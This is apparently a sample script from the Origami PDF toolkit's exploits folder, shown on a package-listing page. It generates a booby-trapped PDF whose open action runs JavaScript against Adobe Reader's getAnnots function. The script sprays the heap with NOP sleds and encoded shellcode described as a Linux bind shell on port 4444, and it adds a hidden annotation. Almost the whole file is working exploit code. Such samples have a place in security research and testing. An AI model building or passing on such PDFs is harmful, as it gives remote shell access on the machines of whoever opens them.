Sha256: 472c09cc068eb405e954a27871bddf5396fde19e2841f3500fe41b69ab74b21f

Contents?: true

Size: 1.93 KB

Versions: 4

Compression:

Stored size: 1.93 KB

Contents

#!/usr/bin/env ruby 

begin
  require 'origami'
rescue LoadError
  ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
  $: << ORIGAMIDIR
  require 'origami'
end
include Origami

pdf = PDF.read(ARGV[0])

jscript = %Q|
//##############
//Exploit made by Arr1val
//Proved in adobe 9.1 and adobe 8.1.4 on linux
//
//Steps:
//- create a pdf with an annotation (a note) (i used an annotation with a very long AAAAA name, but that might be omitted)
//- attach the following script to the OpenAction of the pdf.
//##############

app.alert('start heap spray...');


var memory;
var nop = unescape("%u9090%u9090"); //long nop will also force the address to go to 0x90909090 so 2 steps in one
var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444

while(nop.length <= 0x100000/2) {
  nop += nop;
}

nop = nop.substring(0,0x100000/2 - shellcode.length);

memory = new Array();
for(i=0; i<0x3; i++) { //we should at least overwrite 0x90909090
    memory[i] = nop + shellcode;
}


//start exploit now
start();

function start()
{
//    this.getAnnots(-134217728,-134217728,-134217728,-134217728);
    app.alert("boom?");
    this.getAnnots(-134217728,-134217729,-134217730,-134217731); //get control on EDI
}


//# milw0rm.com [2009-04-29]
|

#exploit = Action::JavaScript.new(Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode]))
exploit = Action::JavaScript.new(Stream.new(jscript))
pdf.onDocumentOpen( exploit )


annot = Annotation::Text.new
annot.Contents =  "Hello world"
annot.Rect = [ 512, 512, 660, 606]
annot.F = Annotation::Flags::HIDDEN
pdf.pages[0].add_annot( annot )

pdf.save("#{File.basename($0, '.rb')}.pdf")

Version data entries

4 entries across 4 versions & 1 rubygems

Version Path
origami-1.2.5 samples/exploits/getannots.rb
origami-1.2.4 samples/exploits/getannots.rb
origami-1.2.3 samples/exploits/getannots.rb
origami-1.2.2 samples/exploits/getannots.rb